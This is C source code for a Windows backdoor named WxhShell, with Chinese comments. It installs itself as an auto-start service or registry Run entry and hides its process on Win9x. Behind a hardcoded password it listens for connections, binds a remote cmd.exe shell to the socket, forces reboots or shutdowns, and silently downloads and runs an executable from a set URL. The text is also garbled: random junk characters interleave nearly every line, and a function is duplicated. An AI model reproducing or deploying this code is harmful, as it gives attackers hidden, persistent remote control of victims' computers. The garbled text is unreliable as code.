>rl } sL\L"rQN6 lhBT@5Dm9 // 自身启动模式 fIsp;ca[k int StartFromService(void) #n#@fAY { /|D*w^> typedef struct Ym =FgM\ { 3 yB!M DWORD ExitStatus; 6e[VgN-s DWORD PebBaseAddress; lw<c2C DWORD AffinityMask; [@5Ytv H DWORD BasePriority; 5.MGaU^Z$ ULONG UniqueProcessId; ; ShJi ULONG InheritedFromUniqueProcessId; 28UU60 } PROCESS_BASIC_INFORMATION; H kQ)n3 /so8WRu. PROCNTQSIP NtQueryInformationProcess; iLkZ"X.'|1 %|^fi8!:| static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; Qx+%"YO static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; [x,>?~6ek 4x 8)gE HANDLE hProcess; =fO5cA6Z PROCESS_BASIC_INFORMATION pbi; !lj| cT9 <1t*I!e_ HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); FW21 U< if(NULL == hInst ) return 0; G1o3l~x lLF-{ g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); (aH'h1,G g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); 9R7A8 NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); z}MP)|aH: /,g ,Ch<d if (!NtQueryInformationProcess) return 0; r(RKwr:m 6I4oi@hZz hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); %>g3~yl if(!hProcess) return 0; `#;e)1 Y\$ySvZ0 if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; 34Kw! a_'2V; CloseHandle(hProcess); //s:5S<Z !X;1 } hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); LdL/399< if(hProcess==NULL) return 0; N _86t H*$jc\
dC HMODULE hMod; d'G0m9u2 char procName[255]; 6jC`8l: unsigned long cbNeeded; Bg|5KOnd 4X+ifZO if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); Y07ZB'K '.81zpff CloseHandle(hProcess); SAyufLEv, @T'i/}nl if(strstr(procName,"services")) return 1; // 以服务启动 kNobl _s .G return 0; // 注册表启动 v5QqS8u_C } 2AO~HxF jAm3HI
// 主模块 +PcmJ int StartWxhshell(LPSTR lpCmdLine) T^Ze3L] { 9Ru8~R/\ SOCKET wsl; B4i!/@0s BOOL val=TRUE; g.zEn/SM int port=0; [YUv7|\ struct sockaddr_in door; &i$ldR Stu4t==U if(wscfg.ws_autoins) Install(); \uza=e t3&LO~Ye port=atoi(lpCmdLine); &GB:|I'%7 WRrd'{sB if(port<=0) port=wscfg.ws_port; vJ-q*qM1 ~;#Y9>7\\' WSADATA data; rjp-Fw~1w if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; 3tZ]4ms} 98uV6b~g if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; 'gTb A?+@5 setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); RF%KA[Dj door.sin_family = AF_INET; DUC#NZgw door.sin_addr.s_addr = inet_addr("127.0.0.1"); !>zo_fP door.sin_port = htons(port); 4'!c*@Y
.U?'i< if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { OslL~< closesocket(wsl); JU^lyi! return 1; ]Zyur` } dAkgR~ @jsDq
Ln if(listen(wsl,2) == INVALID_SOCKET) { (?(zH3 closesocket(wsl); =Q+=
f return 1; `O[};3O& } =1 Oj*x@*4 Wxhshell(wsl); eFL=G% WSACleanup(); /oR<A %0,#ADCqOe return 0; R}4So1 2IKnhBSV3 } d+Ek%_ T^~5n6 // 以NT服务方式启动 JAQb{KefdO VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) @M5#S7q"; { 9+{G8$Ai DWORD status = 0; S=e{MI DWORD specificError = 0xfffffff; uoX:^'q
y6[If cN serviceStatus.dwServiceType = SERVICE_WIN32; |>tKq;/ serviceStatus.dwCurrentState = SERVICE_START_PENDING; YYu6W@m] serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; :qIXY/ serviceStatus.dwWin32ExitCode = 0; RkBb$q9F] serviceStatus.dwServiceSpecificExitCode = 0; V9dF1Hj serviceStatus.dwCheckPoint = 0; R)RG[F# serviceStatus.dwWaitHint = 0; }5}.lJ: 7,lq}a8z hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); .[3Z1v, if (hServiceStatusHandle==0) return; zY('t!u8
WqXbI4;pJ status = GetLastError(); H=Y{rq @ if (status!=NO_ERROR) /eOzXCSws { Ct=-4 serviceStatus.dwCurrentState = SERVICE_STOPPED; 4bw4cqY; serviceStatus.dwCheckPoint = 0; VI'hb'2 serviceStatus.dwWaitHint = 0; &'}/f5s| serviceStatus.dwWin32ExitCode = status; ,kF}lo) serviceStatus.dwServiceSpecificExitCode = specificError;
1][S#H/? SetServiceStatus(hServiceStatusHandle, &serviceStatus); Gr^E+#; return; hnc@ } 0^RXGN zBk'{[y9L serviceStatus.dwCurrentState = SERVICE_RUNNING; %Cv D-![0 serviceStatus.dwCheckPoint = 0; !`M|C?b serviceStatus.dwWaitHint = 0; ` M3w]qJ<} if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); zN:K%AiGxe } t`,`6@d aW`Lec{. // 处理NT服务事件,比如:启动、停止 c;n *AK VOID WINAPI NTServiceHandler(DWORD fdwControl) '-"/ =j&d[ { MgNU`` switch(fdwControl) 6Qy@UfB { !=:$lzS^ case SERVICE_CONTROL_STOP: /x[jQM\ serviceStatus.dwWin32ExitCode = 0; 7|[mz> "d serviceStatus.dwCurrentState = SERVICE_STOPPED; vDxe/x% serviceStatus.dwCheckPoint = 0; yX0dbW~@y serviceStatus.dwWaitHint = 0; 8W#heW\-] { "t_-f7fS7 SetServiceStatus(hServiceStatusHandle, &serviceStatus); R]btAu;Z } U2wbv Xr5- return; L"j
tf78 case SERVICE_CONTROL_PAUSE: < !dqTJos serviceStatus.dwCurrentState = SERVICE_PAUSED; 2VJR$Pao break; %^>ju;i^O case SERVICE_CONTROL_CONTINUE: !Y\D?rKZ serviceStatus.dwCurrentState = SERVICE_RUNNING; <RG|Dx[:= break; DFd%9*N case SERVICE_CONTROL_INTERROGATE: HAJ 7m!P break; o)2W`i & }; \DD0s8 SetServiceStatus(hServiceStatusHandle, &serviceStatus); thvYL.U: } {'2@(^3 tGl;@V@Qj // 标准应用程序主函数 iIq)~e/ Z int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) *]VFvh { CCWg{*og n_(/JE> // 获取操作系统版本 PX
n;C/ OsIsNt=GetOsVer(); f1 _<G GetModuleFileName(NULL,ExeFile,MAX_PATH); OI0;BBZ d~`x )B( // 从命令行安装 ZO)S`W if(strpbrk(lpCmdLine,"iI")) Install(); E8n)}[k!0 9J>&29@us0 // 下载执行文件 T|dY
2 if(wscfg.ws_downexe) { ]5$eAYq if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK)
X~<(" WinExec(wscfg.ws_filenam,SW_HIDE); *EZHJt9 } e*;c(3>( ulkJR-""& if(!OsIsNt) { (Xq)p y9 // 如果时win9x,隐藏进程并且设置为注册表启动 )Ib<F7v HideProc(); *i- _6s StartWxhshell(lpCmdLine); cgm~> } L.1_(3NG else 0;:.B
j if(StartFromService()) sh`s/JRf // 以服务方式启动 cnFI
&,FM StartServiceCtrlDispatcher(DispatchTable); /`6ZAom9 else "gne_Ye. // 普通方式启动 qLT>Mz)$% StartWxhshell(lpCmdLine); 3`ELKq `^FGwx@ return 0; bV$)!]V } G1"zElug D[mSmpjE6& oNU0 qZ5 tdSfi<y5I =========================================== Ar:*oiU jp"JafS/E L?Qg#YSd~ dUF&."pW e 7"w2$*4 '0 -xDGH " L.2/*H#
IuOgxm~Y #include <stdio.h> )6Ny1x+ #include <string.h> 00SbH$SU #include <windows.h> 1}:bqI.<W #include <winsock2.h> LX@/RAd vz #include <winsvc.h> )d$glI+ #include <urlmon.h> HN.3 }2uI?i8 #pragma comment (lib, "Ws2_32.lib") hvuIxqv !y #pragma comment (lib, "urlmon.lib") %9M~f* 0LfU=X0#7 #define MAX_USER 100 // 最大客户端连接数 &znQ;NH# #define BUF_SOCK 200 // sock buffer m"fNK$_d #define KEY_BUFF 255 // 输入 buffer E !a|Xp \yd
s5g!: #define REBOOT 0 // 重启 yfx7{naKC` #define SHUTDOWN 1 // 关机 e|p$d:#! qZh1`\G #define DEF_PORT 5000 // 监听端口 ;IVDr: 8ZKo_I\
#define REG_LEN 16 // 注册表键长度 h|h>u
^@ #define SVC_LEN 80 // NT服务名长度 9XRZ$j}L N^pJS6cJkl // 从dll定义API <oWB0% typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); DWID$w typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); &/uu)v typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); &%s8L\? typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); '{J&M|<A <YOLx R // wxhshell配置信息 *r=:y{!Y d struct WSCFG { Gu'rUo3Do int ws_port; // 监听端口 Pj4/xX char ws_passstr[REG_LEN]; // 口令 *+\SyO int ws_autoins; // 安装标记, 1=yes 0=no SnFk>` char ws_regname[REG_LEN]; // 注册表键名 o4%y>d) char ws_svcname[REG_LEN]; // 服务名 g"?Y+j char ws_svcdisp[SVC_LEN]; // 服务显示名 59%tXiO char ws_svcdesc[SVC_LEN]; // 服务描述信息 wmTq` XH) char ws_passmsg[SVC_LEN]; // 密码输入提示信息
l"!Ko G7 int ws_downexe; // 下载执行标记, 1=yes 0=no p8\zG|b5 char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" )E,\H@A char ws_filenam[SVC_LEN]; // 下载后保存的文件名 y-j\zK >j'ZPwj^ }; .9"Y_/0 c{&*w")J // default Wxhshell configuration u6_@.a} struct WSCFG wscfg={DEF_PORT, |{@8m9JR "xuhuanlingzhe", >zhO7,=, 1, m<w"T7 "Wxhshell", Ojt`^r !V "Wxhshell", wAz&"rS "WxhShell Service", qR8u$2}NY "Wrsky Windows CmdShell Service", +{/*z "Please Input Your Password: ", Q^q1ns;r 1, FP>)&3>_ "http://www.wrsky.com/wxhshell.exe", :{ur{m5bX "Wxhshell.exe" 8Y_ol#\L }; Vg>( Y, 9:!gI|C // 消息定义模块 Z-U-N char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; '2laTl]` char *msg_ws_prompt="\n\r? for help\n\r#>"; GN0`rEh char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; A5H3%o(6k char *msg_ws_ext="\n\rExit."; #fL8Kq char *msg_ws_end="\n\rQuit."; \igmv]G% char *msg_ws_boot="\n\rReboot..."; T<L^N+<,{N char *msg_ws_poff="\n\rShutdown..."; Pf_S[
sm char *msg_ws_down="\n\rSave to "; E-{^E. w1 Cxcr/9 char *msg_ws_err="\n\rErr!"; l%`F&8K char *msg_ws_ok="\n\rOK!"; XO9M_*Va Ga^Zb^y char ExeFile[MAX_PATH]; 8-lOB int nUser = 0; 5 gv/Pq & HANDLE handles[MAX_USER];
WJ
d%2pO] int OsIsNt; s-RQMK}H ~j#]tElb SERVICE_STATUS serviceStatus; :T._ba3| SERVICE_STATUS_HANDLE hServiceStatusHandle; v\,N 5 ,i0b)=!o // 函数声明 {XWZ<OjG int Install(void); k~/>b~.c int Uninstall(void); RiTa \ int DownloadFile(char *sURL, SOCKET wsh); }->.k/vc int Boot(int flag); A)~X, void HideProc(void); E%'~'[Q int GetOsVer(void); [b/k3&O' int Wxhshell(SOCKET wsl); eh ,~F void TalkWithClient(void *cs); H> '>3]G int CmdShell(SOCKET sock); Pf$pt int StartFromService(void); r 3M1e+'fc int StartWxhshell(LPSTR lpCmdLine); DwV4o^J:l `zR+ tbm VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); 5hbJOo0BZ VOID WINAPI NTServiceHandler( DWORD fdwControl ); h8X g`C\ )
gzR=9l // 数据结构和表定义 hxf'5uc SERVICE_TABLE_ENTRY DispatchTable[] = 8srBHslI { b-Z4
Jo
G {wscfg.ws_svcname, NTServiceMain}, wBInq~K_ {NULL, NULL} xxm%u9@s }; v"MX>^/< ] )"u+ // 自我安装 $&=p+ int Install(void) yR~R: { LT~YFS char svExeFile[MAX_PATH]; Y'u7 IX} HKEY key; Hh4 n strcpy(svExeFile,ExeFile); Ic{F*nnM xEltwuDd? // 如果是win9x系统,修改注册表设为自启动 A+&xMM2Wj if(!OsIsNt) { S8l1"/?aHE if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { {66fG53x RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
sjM;s{gy RegCloseKey(key); 8`]=C~G if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ;),BW g RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); e }*0ghKI RegCloseKey(key); ~=wCwA|1 return 0; Dgql?+2$ } 9M /SH$Qy } y')RT R{>M } k;EPpr-{ else { c.|l-zAeX 1TM~*<Jb // 如果是NT以上系统,安装为系统服务 z**hD2R! SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); 0vGyI> if (schSCManager!=0) ;oxAe<VIj { ^Q{Bq SC_HANDLE schService = CreateService H3H_u4_?SE ( /R
LI,.% schSCManager, NJ MJ wscfg.ws_svcname, "0EA;S8$8 wscfg.ws_svcdisp, Y2R \]FrT SERVICE_ALL_ACCESS, ]O
TH"*j SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , ~RBrSu) SERVICE_AUTO_START, 3pXLSdxB SERVICE_ERROR_NORMAL, #Ch;0UvFF svExeFile, 3:5DL!Sm8J NULL, \#rO!z
d NULL, CN2_bz NULL, P0i V<T4^ NULL, phYDs9-K NULL /EMJSr ); 1mSaS4!"B if (schService!=0) O3N_\B: { C*X
G_b ] CloseServiceHandle(schService);
Q2p)7G CloseServiceHandle(schSCManager); $>R(W=Q strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); @cq`:_.[ strcat(svExeFile,wscfg.ws_svcname); s-W[.r| if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { Y
e+Ay RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); rxO2js RegCloseKey(key); AY SSa 1} return 0; [Qdq}FYr } ir:d'g1k }
?W0(|9 CloseServiceHandle(schSCManager); )ZejQ}$ } sLcFt1 } xAwf49N~ ;$BdP7i: return 1; v8I{XU@% } S*"u/b; -Z^4L // 自我卸载 CkRX>)=py int Uninstall(void) zQH]s?v { t/Z:)4Z HKEY key; p8+/\Ee]B Dz_eB"} if(!OsIsNt) { DP7C?}( if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 3P <'F2o RegDeleteValue(key,wscfg.ws_regname); [B0K RegCloseKey(key); BwJuYH7QJ$ if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { h7;bclU RegDeleteValue(key,wscfg.ws_regname); ]$M<]w,IJ2 RegCloseKey(key); cUK\x2 return 0; bO<0qM~ } S^cH}-+ } }wSy } HhkN^S, else { uu%?K@Qq #^&jW SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); WjM>kWv if (schSCManager!=0) \h3e-) { z]Acs SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); (_9|w|( if (schService!=0) =!ac7i\F { f]d!hz! if(DeleteService(schService)!=0) { Jbp5'e
_ CloseServiceHandle(schService); E=/[s]@5 CloseServiceHandle(schSCManager); y~F<9;$= return 0; ^GYq#q9Q } TK>{qxt:= CloseServiceHandle(schService); u8OxD } aEx(rLd+ CloseServiceHandle(schSCManager); idJh^YD } .}9FEn 8 } nd+?O7~}( }`9`JmNM return 1; C$#W{2x%6 } GJ}.\EaAJ w}M3x^9@ // 从指定url下载文件 ^C9x.4I$) int DownloadFile(char *sURL, SOCKET wsh) G5{Ot>;*% {
o A~4p( HRESULT hr; (3md:r<- char seps[]= "/"; P 4;{jG char *token; &.*uc|{ char *file; B50 [O! char myURL[MAX_PATH]; (BERY char myFILE[MAX_PATH]; k_3j
' 5a(<%Q
<" strcpy(myURL,sURL); CtT~0Y| token=strtok(myURL,seps); ;o$;Z4:.D while(token!=NULL) MB*u-N0v { 64D%_8#m file=token; n=`w9qajd token=strtok(NULL,seps); IMad$AKc } e`sw*m5 9NWloK6bT GetCurrentDirectory(MAX_PATH,myFILE); WL\^F#: strcat(myFILE, "\\");
q{X T strcat(myFILE, file); n9fk,3 send(wsh,myFILE,strlen(myFILE),0); "g
`nsk send(wsh,"...",3,0); (G8 hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); '8r8%XI if(hr==S_OK) M\yHUS6N return 0; vF>gU_gz. else
Yg6If7& return 1; +p?hGoF= 'XTs
-= } h#{T}[ 93I'cWN // 系统电源模块 ypA: P int Boot(int flag) EDN(eh(_ { +{6`F1MO HANDLE hToken; ek[kq[U9 TOKEN_PRIVILEGES tkp; Igjr~@# Ky&KF0 if(OsIsNt) { >I-g[* OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); S\|^ULrH LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); E&%jeR tkp.PrivilegeCount = 1; \Hs|$ tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; 0 [i+ AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); =hcPTU-QU if(flag==REBOOT) { CT}' ")Bm if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) u)7
]1e{ return 0; baIbf@t/ } /p$=Cg[K else { a`38db(z if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) pb$fb return 0; gPUo25@pn* } Ea4
* o } 6{7 3p@ else { ycjJbL(. if(flag==REBOOT) { B+Q+0tw*i if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) =xBT>h; return 0; hwDXm9 } p!GZCf, else { MOyT< $ if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) k ZK//YN# return 0; [` 'd#pR } ?48AY6 } !
IgoL&= K_##-6> return 1; H56
^n<tg } %uEtQh[ .\)k+ R // win9x进程隐藏模块 qsvpW%?aE void HideProc(void) OT+ Ee { =43d%N
HZuiVW8 HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); fM{1Os if ( hKernel != NULL ) A^cU$V%?W { leIy|K>\m pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); a hwy_\ ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); XSl!T/d FreeLibrary(hKernel); \kk!Dz*H } q\U4n[Zk }Eb]9c\ return; ^vn\4 } `x4E;Wjv |1i]L @& // 获取操作系统版本 |>@-grs int GetOsVer(void) UnjNR[= { C1D !
V: OSVERSIONINFO winfo;
{WKOJG+. winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); I<xy?{s GetVersionEx(&winfo); qM*S*,s if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) .d
e return 1; O8$~*NFJf else
Ft$^x-d return 0; Nor`c+,4 } .}~$1QKS oc((Yo+B // 客户端句柄模块 WCoF{* int Wxhshell(SOCKET wsl) HNFhH0+^ { 4$F:NW,v:) SOCKET wsh; shy struct sockaddr_in client; ,wlbIl~ DWORD myID; 1wbTqc ($:y\,5(9I while(nUser<MAX_USER) w`0)x5
TGR { )+*{Y$/U int nSize=sizeof(client); }z?xGW/k wsh=accept(wsl,(struct sockaddr *)&client,&nSize); 8Y xhd
. if(wsh==INVALID_SOCKET) return 1; gjQ=8&i ^ePsIl1E handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); Fj,(_^ if(handles[nUser]==0) /_HwifRQ closesocket(wsh); d>;2,srUf else .P8-~?&M nUser++; ) (+)Q'* } }R`Irxv4 WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); 2H3(HZv K Ka c6Zj return 0; -}< d(c } :;q>31:h &q"'_4 // 关闭 socket KCl &H void CloseIt(SOCKET wsh) hc6.#~i { 0FTRm2( closesocket(wsh); (GnVwJ<v9V nUser--; [\88@B=jXP ExitThread(0); w/O<.8+ } _ r~+p 'HJ/2-= // 客户端请求句柄 *$JB`=Q void TalkWithClient(void *cs) D7M0NEY { v&e-`.xR %8a=mQl1^ SOCKET wsh=(SOCKET)cs; j=FMYd8$y char pwd[SVC_LEN]; M q76]I% char cmd[KEY_BUFF]; \m%J`{Mt char chr[1]; g%X &f_@ int i,j; ~c!Rx' ot]>}[
while (nUser < MAX_USER) { x3gwG)Sf \ibCR~W4 if(wscfg.ws_passstr) { wInY7uBd! if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); Is<x31R //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); >1m)%zt //ZeroMemory(pwd,KEY_BUFF); xnT3^ #-h i=0; lD9%xCo9( while(i<SVC_LEN) { g)X7FxS,z HgYc@P*b // 设置超时 Mp^^!AP 9 fd_set FdRead; -g9^0V`G struct timeval TimeOut; mMV2h|W FD_ZERO(&FdRead); dFx2>6AZt FD_SET(wsh,&FdRead); @X
K> TimeOut.tv_sec=8; N?\bBt@ TimeOut.tv_usec=0; E]\D>[0O int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); :m]/u( /N if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); g'KzdG`O0 O>nK,. if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ZGA)r0]
P` pwd=chr[0]; :jBZK=3F> if(chr[0]==0xd || chr[0]==0xa) { Q@7l"8#[t pwd=0; nt drXg break; ,tcP=fdk] } <V7SSm i++; j.<:00< } MRjH40"2 +{5JDyh0 // 如果是非法用户,关闭 socket 1XqIPiXJ if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); -)4uYK* } U~oBNsU" 1d/NZJ9 send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); Po'-z<}wS send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); >_&~!Y.Z= O~$ {&( while(1) { P/C&R-{') j?Cr31 ZeroMemory(cmd,KEY_BUFF); RP,A!pa@ c!tvG*{ // 自动支持客户端 telnet标准 gTqeJWX9wP j=0; N-XVRuv while(j<KEY_BUFF) { ".Lhte R? if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ay=KfY5 cmd[j]=chr[0]; g Cg4;b6g if(chr[0]==0xa || chr[0]==0xd) { @YEw^J~ cmd[j]=0; g&{gD^9)4 break; )?F$-~7 } 8$2l^ j++; kX@bv"i } K~`n}_: #DQX<:u // 下载文件 /!^L69um if(strstr(cmd,"http://")) { o9_(DJ<{ send(wsh,msg_ws_down,strlen(msg_ws_down),0); _Wm(/ +G_| if(DownloadFile(cmd,wsh)) ls [Ls send(wsh,msg_ws_err,strlen(msg_ws_err),0); yB0jL:|a else X!,#'&p& send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); x1 .3W j } <P+G7!KZ& else { b ^uP^](J A)hq0FPp switch(cmd[0]) { 8FxcI!A@ z0T`5NG@ // 帮助 @PT`CK} case '?': { qgwv=5| send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); tn"Y9
k| break; ATKYjhc _ } ^zvA?'s // 安装 JN{<oxI case 'i': { :hC
{5!| if(Install()) v9Z lNA7m! send(wsh,msg_ws_err,strlen(msg_ws_err),0); 1 ;_{US5FR else g,00'z_D send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); jf$JaY break; Q
mb[ e> } Rf)'HT // 卸载 S1D9AcK case 'r': { % MfGVx}nG if(Uninstall()) 1bV 2 send(wsh,msg_ws_err,strlen(msg_ws_err),0); &eThH,w$2 else w^ixMn~nLF send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); *Te4U5F break; 6Y;Y}E } "2)+)Db // 显示 wxhshell 所在路径 :'5G_4y)h case 'p': { =giM@MV char svExeFile[MAX_PATH]; /Oq1q._9F strcpy(svExeFile,"\n\r"); hg[l{)Q strcat(svExeFile,ExeFile); 1$:{{% send(wsh,svExeFile,strlen(svExeFile),0); XX]5T`D break; DePV,. } MILIu;[{#r // 重启 z5x,fQw6O case 'b': { X@6zI-Y% send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); X% Spv/8{ if(Boot(REBOOT)) S/@dkHI' send(wsh,msg_ws_err,strlen(msg_ws_err),0); B'G*y2UnG else { Fy}MXe"f closesocket(wsh); xT_fr,P ExitThread(0); iYO
wB'z } (t]lP/
break; E[ )7tr } j[$B\H // 关机 >u BV case 'd': { o7_MMeQ4 send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); J{nyo1A if(Boot(SHUTDOWN)) Nb^zkg send(wsh,msg_ws_err,strlen(msg_ws_err),0); A2g"=x[1@K else {
K^!e-Xi6 closesocket(wsh); ,^MW)Gf< ExitThread(0); 7,V!Iv^X } tz\+'6NpOb break; OmT Z-*N } w\"n!^ms // 获取shell eh({K;> case 's': { ]C}u-B746 CmdShell(wsh); es.\e.HK closesocket(wsh); ,cGwtt( ExitThread(0); ,Az`6PW break; Rxvd+8FF } Ft%TnEp // 退出 $I}Hk^X case 'x': { xJ[k#?T' send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); s${T*)S@G CloseIt(wsh); 'k-u9 break; <|KKv5[ } ^7ea6G" // 离开 %nDPM? aO case 'q': { <?q&PCAn^ send(wsh,msg_ws_end,strlen(msg_ws_end),0); G1#Bb5q: closesocket(wsh); ]YisZE4s WSACleanup(); RE`J"& exit(1); 9A/Kn]s(jj break; )Dk0V!%N } cXLV"d } %!ER @&1f& } (n":]8} WuP([8 // 提示信息 X/`#5<x if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); :/yr(V{ } a'_MhJ zs } \p>]G[g Y^c,mK^ return; 4pfix1F g } `mq4WXO\ _e:5XQ // shell模块句柄 Kc JP^ int CmdShell(SOCKET sock) in=k:j,U0 { O?j98H
Sya STARTUPINFO si; gCk y(4 ZeroMemory(&si,sizeof(si)); eB<V%,%N# si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; !OuTXa,IH si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; s%L"
c PROCESS_INFORMATION ProcessInfo; RAg|V:/M char cmdline[]="cmd"; VQNYQqu`[ CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); ~`G;=ITo return 0; I |<+'G } 9z|>roNe L6[rvM|9_ // 自身启动模式 L5zG0mC8 int StartFromService(void) DK@w^ZW6JA { N1s$3Ul typedef struct \4\\575zp' { c5B_WqjJ DWORD ExitStatus; qSpa4W[ DWORD PebBaseAddress; +c]N]?k& DWORD AffinityMask; (:fE _H2z DWORD BasePriority; zCGmn& *M ULONG UniqueProcessId; 7+D'W7Yx ULONG InheritedFromUniqueProcessId; j^aQ>(t(9 } PROCESS_BASIC_INFORMATION; D)O6|DiO 0'V- PROCNTQSIP NtQueryInformationProcess; _ pH6uuB A5.'h< static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; (.quX@w"m static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; ,rH)}C<Q+ &-8-xw#. HANDLE hProcess; ~P]HG;$?n PROCESS_BASIC_INFORMATION pbi; qa0JQ_?o] r_g\_y7ua HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); Cb@S </b if(NULL == hInst ) return 0; ohc/.5Kl <PfPh~ g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); CYFas:rPLT g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); < ;%q
